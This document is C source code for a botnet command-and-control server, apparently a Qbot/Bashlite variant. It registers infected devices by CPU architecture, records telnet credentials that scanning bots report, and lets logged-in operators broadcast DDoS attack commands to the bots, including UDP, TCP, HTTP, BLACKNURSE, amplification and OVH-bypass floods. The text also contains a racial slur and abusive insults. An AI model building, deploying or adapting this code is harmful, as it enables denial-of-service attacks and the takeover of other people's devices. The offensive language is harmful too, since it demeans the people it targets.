#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <arpa/inet.h>
#define MAXFDS 1000000
//////////////////////////////////
struct login_info {
char username[20];
char password[20];
};
static struct login_info accounts[22];
struct clientdata_t {
uint32_t ip;
char connected;
char mips;
char x86;
char ppc;
char m68k;
char spc;
char arm;
char sh4;
} clients[MAXFDS];
struct telnetdata_t {
int connected;
} managements[MAXFDS];
struct args {
int sock;
struct sockaddr_in cli_addr;
};
static volatile FILE *telFD;
static volatile FILE *fileFD;
static volatile int epollFD = 0;
static volatile int listenFD = 0;
static volatile int OperatorsConnected = 0;
static volatile int TELFound = 0;
static volatile int scannerreport;
//////////////////////////////////
int fdgets(unsigned char *buffer, int bufferSize, int fd) {
int total = 0, got = 1;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got;
}
void trim(char *str) {
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static int make_socket_non_blocking (int sfd) {
int flags, s;
flags = fcntl (sfd, F_GETFL, 0);
if (flags == -1) {
perror ("fcntl");
return -1;
}
flags |= O_NONBLOCK;
s = fcntl (sfd, F_SETFL, flags);
if (s == -1) {
perror ("fcntl");
return -1;
}
return 0;
}
static int create_and_bind (char *port) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int s, sfd;
memset (&hints, 0, sizeof (struct addrinfo));
hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
hints.ai_flags = AI_PASSIVE; /* All interfaces */
s = getaddrinfo (NULL, port, &hints, &result);
if (s != 0) {
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
return -1;
}
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1) continue;
int yes = 1;
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
if (s == 0) {
break;
}
close (sfd);
}
if (rp == NULL) {
fprintf (stderr, "Could not bind\n");
return -1;
}
freeaddrinfo (result);
return sfd;
}
void broadcast(char *msg, int us, char *sender)
{
int sendMGM = 1;
if(strcmp(msg, "PING") == 0) sendMGM = 0;
char *wot = malloc(strlen(msg) + 10);
memset(wot, 0, strlen(msg) + 10);
strcpy(wot, msg);
trim(wot);
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char *timestamp = asctime(timeinfo);
trim(timestamp);
int i;
for(i = 0; i < MAXFDS; i++)
{
if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
if(sendMGM && managements[i].connected)
{
send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
send(i, sender, strlen(sender), MSG_NOSIGNAL); // Para: SS
send(i, ": ", 2, MSG_NOSIGNAL);
}
printf("sent to fd: %d\n", i);
send(i, msg, strlen(msg), MSG_NOSIGNAL);
if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
else send(i, "\n", 1, MSG_NOSIGNAL);
}
free(wot);
}
unsigned int mips() {
int i = 0, mips = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].mips)
{
continue;
}
mips++;
}
return mips;
}
unsigned int x86() {
int i = 0, x86 = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].x86)
{
continue;
}
x86++;
}
return x86;
}
unsigned int arm() {
int i = 0, arm = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].arm)
{
continue;
}
arm++;
}
return arm;
}
unsigned int ppc() {
int i = 0, ppc = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].ppc) continue;
ppc++;
}
return ppc;
}
unsigned int m68k() {
int i = 0, m68k = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].m68k) continue;
m68k++;
}
return m68k;
}
unsigned int spc() {
int i = 0, spc = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].spc) continue;
spc++;
}
return spc;
}
unsigned int sh4() {
int i = 0, sh4 = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].sh4) continue;
sh4++;
}
return sh4;
}
void *BotEventLoop(void *useless) {
struct epoll_event event;
struct epoll_event *events;
int s;
events = calloc (MAXFDS, sizeof event);
while (1) {
int n, i;
n = epoll_wait (epollFD, events, MAXFDS, -1);
for (i = 0; i < n; i++) {
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
clients[events[i].data.fd].connected = 0;
close(events[i].data.fd);
continue;
}
else if (listenFD == events[i].data.fd) {
while (1) {
struct sockaddr in_addr;
socklen_t in_len;
int infd, ipIndex;
in_len = sizeof in_addr;
infd = accept (listenFD, &in_addr, &in_len);
if (infd == -1) {
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
else {
perror ("accept");
break;
}
}
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
int dup = 0;
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
if(!clients[ipIndex].connected || ipIndex == infd) continue;
if(clients[ipIndex].ip == clients[infd].ip) {
dup = 1;
break;
}}
if(dup) {
if(send(infd, "!* DUP\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
close(infd);
continue;
}
s = make_socket_non_blocking (infd);
if (s == -1) { close(infd); break; }
event.data.fd = infd;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
if (s == -1) {
perror ("epoll_ctl");
close(infd);
break;
}
clients[infd].connected = 1;
send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
}
continue;
}
else {
int datafd = events[i].data.fd;
struct clientdata_t *client = &(clients[datafd]);
int done = 0;
client->connected = 1;
while (1) {
ssize_t count;
char buf[2048];
memset(buf, 0, sizeof buf);
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
if(strstr(buf, "\n") == NULL) { done = 1; break; }
trim(buf);
if(strcmp(buf, "PING") == 0) {
if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
continue;
}
if(strstr(buf, "MIPS") == buf) {
char *line = strstr(buf, "MIPS");
client->mips = 1;
continue;
}
if(strstr(buf, "MIPSEL") == buf) {
char *line = strstr(buf, "MIPSEL");
client->mips = 1;
continue;
}
if(strstr(buf, "SUPERH") == buf) {
char *line = strstr(buf, "SUPERH");
client->sh4 = 1;
continue;
}
if(strstr(buf, "x86_64") == buf) {
char *line = strstr(buf, "x86_64");
client->x86 = 1;
continue;
}
if(strstr(buf, "x86_32") == buf) {
char *line = strstr(buf, "x86_32");
client->x86 = 1;
continue;
}
if(strstr(buf, "POWERPC") == buf) {
char *line = strstr(buf, "POWERPC");
client->ppc = 1;
continue;
}
if(strstr(buf, "M68K") == buf) {
char *line = strstr(buf, "M68K");
client->m68k = 1;
continue;
}
if(strstr(buf, "SPARC") == buf) {
char *line = strstr(buf, "SPARC");
client->spc = 1;
continue;
}
if(strstr(buf, "ARM3") == buf) {
char *line = strstr(buf, "ARM3");
client->arm = 1;
continue;
}
if(strstr(buf, "ARM4T") == buf) {
char *line = strstr(buf, "ARMv5");
client->arm = 1;
continue;
}
if(strstr(buf, "ARMv6") == buf) {
char *line = strstr(buf, "ARMv6");
client->arm = 1;
continue;
}
if(strstr(buf, "TELNET ") == buf) {
char *line = strstr(buf, "TELNET ") + 7;
fprintf(telFD, "%s\n", line);
fflush(telFD);
TELFound++;
continue;
}
if(strstr(buf, "PROBING") == buf) {
char *line = strstr(buf, "PROBING");
scannerreport = 1;
continue;
}
if(strstr(buf, "REMOVING PROBE") == buf) {
char *line = strstr(buf, "REMOVING PROBE");
scannerreport = 0;
continue;
}
if(strcmp(buf, "PONG") == 0) {
continue;
}
printf("buf: \"%s\"\n", buf);
}
if (count == -1) {
if (errno != EAGAIN) {
done = 1;
}
break;
}
else if (count == 0) {
done = 1;
break;
}
if (done) {
client->connected = 0;
/*mips x86 ppc m68k spc arm sh4*/
client->connected = 0;
client->mips = 0;
client->x86 = 0;
client->ppc = 0;
client->m68k = 0;
client->spc = 0;
client->arm = 0;
client->sh4 = 0;
close(datafd);
}
}
}
}
}
}
unsigned int BotsConnected() {
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].connected) continue;
total++;
}
return total;
}
void *TitleWriter(void *sock) {
int datafd = (int)sock;
char string[2048];
char botnet[2048];
memset(botnet, 0, 2048);
char botnet1[2048];
memset(botnet1, 0, 2048);
char botnet2[2048];
memset(botnet2, 0, 2048);
char botnet3[2048];
memset(botnet3, 0, 2048);
char botnet4[2048];
memset(botnet4, 0, 2048);
char botnet5[2048];
memset(botnet5, 0, 2048);
char botnet6[2048];
memset(botnet6, 0, 2048);
while(1) {
memset(string, 0, 2048);
sprintf(botnet, " MIPS [%d] ", mips());
sprintf(botnet1, " x86 [%d] ", x86());
sprintf(botnet2, " PPC [%d] ", ppc());
sprintf(botnet3, " M68K [%d] ", m68k());
sprintf(botnet4, " SPC [%d] ", spc());
sprintf(botnet5, " ARM [%d] ", arm());
sprintf(botnet6, " SH4 [%d] ", sh4());
sprintf(string, "%c]0;Slaves Connected: %d | Masters Connected: %d | %s%s%s%s%s%s%s%c", '\033', BotsConnected(), OperatorsConnected, botnet,botnet1,botnet2,botnet3,botnet4,botnet5,botnet6, '\007');
if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
sleep(2);
}}
int Find_Login(char *str) {
FILE *fp;
int line_num = 0;
int find_result = 0, find_line=0;
char temp[512];
if((fp = fopen("login.txt", "r")) == NULL){
return(-1);
}
while(fgets(temp, 512, fp) != NULL){
if((strstr(temp, str)) != NULL){
find_result++;
find_line = line_num;
}
line_num++;
}
if(fp)
fclose(fp);
if(find_result == 0)return 0;
return find_line;
}
void *BotWorker(void *sock) {
int datafd = (int)sock;
int find_line;
OperatorsConnected++;
pthread_t title;
char buf[2048];
char* username;
char* password;
memset(buf, 0, sizeof buf);
char botnet[2048];
memset(botnet, 0, 2048);
FILE *fp;
int i=0;
int c;
fp=fopen("login.txt", "r");
while(!feof(fp)) {
c=fgetc(fp);
++i;
}
int j=0;
rewind(fp);
while(j!=i-1) {
fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
++j;
}
if(send(datafd, "\x1b[37mUsername: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
trim(buf);
char* nickstring;
sprintf(accounts[find_line].username, buf);
nickstring = ("%s", buf);
find_line = Find_Login(nickstring);
if(strcmp(nickstring, accounts[find_line].username) == 0){
if(send(datafd, "\x1b[37mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
trim(buf);
if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
memset(buf, 0, 2048);
goto Banner;
}
failed:
if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
char failed_line1[80];
sprintf(failed_line1, "\x1b[36mWRONG ANSWER BITCH!!\r\n");
if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
sleep(5);
goto end;
Banner:
pthread_create(&title, NULL, &TitleWriter, sock);
char ascii_banner_line1 [5000];
char ascii_banner_line2 [5000];
char ascii_banner_line3 [5000];
char ascii_banner_line4 [5000];
char ascii_banner_line5 [5000];
char ascii_banner_line6 [5000];
char ascii_banner_line7 [5000];
char ascii_banner_line8 [5000];
char ascii_banner_line9 [5000];
char welcome_line [80];
char banner_bot_count [2048];
memset(banner_bot_count, 0, 2048);
sprintf(ascii_banner_line1, "\x1b[36m ** ** ** \r\n");
sprintf(ascii_banner_line2, "\x1b[36m /** /** // \r\n");
sprintf(ascii_banner_line3, "\x1b[36m /** /** ******* ** ** **\r\n");
sprintf(ascii_banner_line4, "\x1b[36m /** /* //**///** /** //** ** \r\n");
sprintf(ascii_banner_line5, "\x1b[36m /** /** /** /** /** //*** \r\n");
sprintf(ascii_banner_line6, "\x1b[36m /** /** /** /** /** **/** \r\n");
sprintf(ascii_banner_line7, "\x1b[36m //******* *** /** /** ** //**\r\n");
sprintf(ascii_banner_line8, "\x1b[36m /////// /// // // // // \r\n");
sprintf(ascii_banner_line9, "\r\n");
sprintf(welcome_line, "\x1b[37m #\x1b[36m----- \x1b[37mBot Count: %d\x1b[36m -----\x1b[37m#\r\n", BotsConnected(), OperatorsConnected);
sprintf(banner_bot_count, "\r\n\x1b[37m #\x1b[36m-------- \x1b[37mWelcome, %s\x1b[36m --------\x1b[37m#\r\n", accounts[find_line].username);
if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
while(1) {
if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
break;
}
pthread_create(&title, NULL, &TitleWriter, sock);
managements[datafd].connected = 1;
while(fdgets(buf, sizeof buf, datafd) > 0)
{
if(strstr(buf, "BOTS")) {
char botcount [2048];
memset(botcount, 0, 2048);
sprintf(botcount, "[+] - Slaves: [\x1b[36m %d \x1b[37m] [+] - Masters: [\x1b[36m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "STATUS")){
char statuscount [2048];
memset(statuscount, 0, 2048);
sprintf(statuscount, "[+] - Devices: [\x1b[36m %d \x1b[37m] [+] - Status: [\x1b[36m %d \x1b[37m]\r\n", TELFound, scannerreport);
if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "HELP")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ddosline1 [80];
char ddosline2 [80];
char ddosline3 [80];
char ddosline4 [80];
char ddosline5 [80];
char ddosline6 [80];
char ddosline7 [80];
char ddosline8 [80];
char ddosline9 [120];
char ddosline10 [120];
char ddosline11 [150];
char ddosline12 [116];
sprintf(ddosline1, "[!] Attack Commands\r\n");
sprintf(ddosline2, "[+] UDP Flood: !* UDP [IP] [PORT] [TIME] 32 65500 10\r\n");
sprintf(ddosline3, "[+] STD Flood: !* STD [IP] [PORT] [TIME] [SIZE]\r\n");
sprintf(ddosline4, "[+] TCP Flood: !* TCP [IP] [PORT] [TIME] 32 all 0 10\r\n");
sprintf(ddosline5, "[+] VSE Flood: !* VSE [IP] [PORT] [TIME] 32 all 0 10\r\n");
sprintf(ddosline6, "[+] JUNK Flood: !* JUNK [IP] [PORT] [TIME]\r\n");
sprintf(ddosline7, "[+] HOLD Flood: !* HOLD [IP] [PORT] [TIME]\r\n");
sprintf(ddosline8, "[+] BLACKNURSE Flood: !* BLACKNURSE [IP] [TIME]\r\n");
sprintf(ddosline9, "[+] HTTP Flood: !* HTTP [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
sprintf(ddosline10, "[+] HTTP Hex: !* HTTPHEX [METHOD] [TARGET] [PORT] / [TIME] [SIZE]\r\n");
sprintf(ddosline11, "[+] AMP FLOOD: !* AMP [LDAP/MEMCACHED/STUN/SSD] [target IP] [port] [reflection file url] [forks] [time]\r\n");
sprintf(ddosline12, "[+] OVH UDP RAPE FLOOD: !* OVH [IP] [PORT] [SIZE] [TIME] [FORKS]\r\n");
if(send(datafd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline10, strlen(ddosline10), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline11, strlen(ddosline11), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ddosline12, strlen(ddosline12), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "ls")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char ls1 [80];
char ls2 [80];
char ls3 [80];
char ls4 [80];
char ls5 [80];
sprintf(ls1, " \r\n\x1b[37m#--- \x1b[36mMETHODS \x1b[37m---#\r\n\r\n");
sprintf(ls2, " \x1b[37m- UDP - \x1b[36m!* UDP Victim Port Time 32 0 10\r\n");
sprintf(ls3, " \x1b[37m- TCP - \x1b[36m!* TCP Victim Port Time 32 all 0 10\r\n");
sprintf(ls4, " \x1b[37m- HTTP - \x1b[36m!* HTTP Url Time\r\n");
sprintf(ls5, " \x1b[37m- CNC - \x1b[36m!* CNC IP PORT TIME\r\n");
if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "KILL")) {
char killattack [2048];
memset(killattack, 0, 2048);
sprintf(killattack, "!* STOP\r\n");
if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "CLEAR")) {
char clearscreen [2048];
memset(clearscreen, 0, 2048);
sprintf(clearscreen, "\033[2J\033[1;1H");
if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
while(1) {
if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
break;
}
continue;
}
if(strstr(buf, "TOS")) {
pthread_create(&title, NULL, &TitleWriter, sock);
char tos1 [80];
sprintf(tos1, "\r\n\x1b[36mTOS: \x1b[37mhttp://pastebin.com/HGHUJLE8\r\n\r\n");
if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
pthread_create(&title, NULL, &TitleWriter, sock);
if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
continue;
}
if(strstr(buf, "LOGOUT")) {
char logoutmessage [2048];
memset(logoutmessage, 0, 2048);
sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
sleep(5);
goto end;
}
trim(buf);
if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
if(strlen(buf) == 0) continue;
printf("%s: \"%s\"\n",accounts[find_line].username, buf);
FILE *LogFile;
LogFile = fopen("server.log", "a");
time_t now;
struct tm *gmt;
char formatted_gmt [50];
char lcltime[50];
now = time(NULL);
gmt = gmtime(&now);
strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
fclose(LogFile);
broadcast(buf, datafd, accounts[find_line].username);
memset(buf, 0, 2048);
}
end:
managements[datafd].connected = 0;
close(datafd);
OperatorsConnected--;
}
void *BotListener(int port) {
int sockfd, newsockfd;
socklen_t clilen;
struct sockaddr_in serv_addr, cli_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) perror("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
while(1) {
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0) perror("ERROR on accept");
pthread_t thread;
pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
}}
int main (int argc, char *argv[], void *sock)
{
signal(SIGPIPE, SIG_IGN);
int s, threads, port;
struct epoll_event event;
if (argc != 4) {
fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
exit (EXIT_FAILURE);
}
port = atoi(argv[3]);
telFD = fopen("telnet.txt", "a+");
threads = atoi(argv[2]);
listenFD = create_and_bind (argv[1]);
if (listenFD == -1) abort ();
s = make_socket_non_blocking (listenFD);
if (s == -1) abort ();
s = listen (listenFD, SOMAXCONN);
if (s == -1) {
perror ("listen");
abort ();
}
epollFD = epoll_create1 (0);
if (epollFD == -1) {
perror ("epoll_create");
abort ();
}
event.data.fd = listenFD;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
if (s == -1) {
perror ("epoll_ctl");
abort ();
}
pthread_t thread[threads + 2];
while(threads--) {
pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
}
pthread_create(&thread[0], NULL, &BotListener, port);
while(1) {
broadcast("PING", -1, "NIGGER");
sleep(60);
}
close (listenFD);
return EXIT_SUCCESS;
}
Comments
0 B
|👍
/👎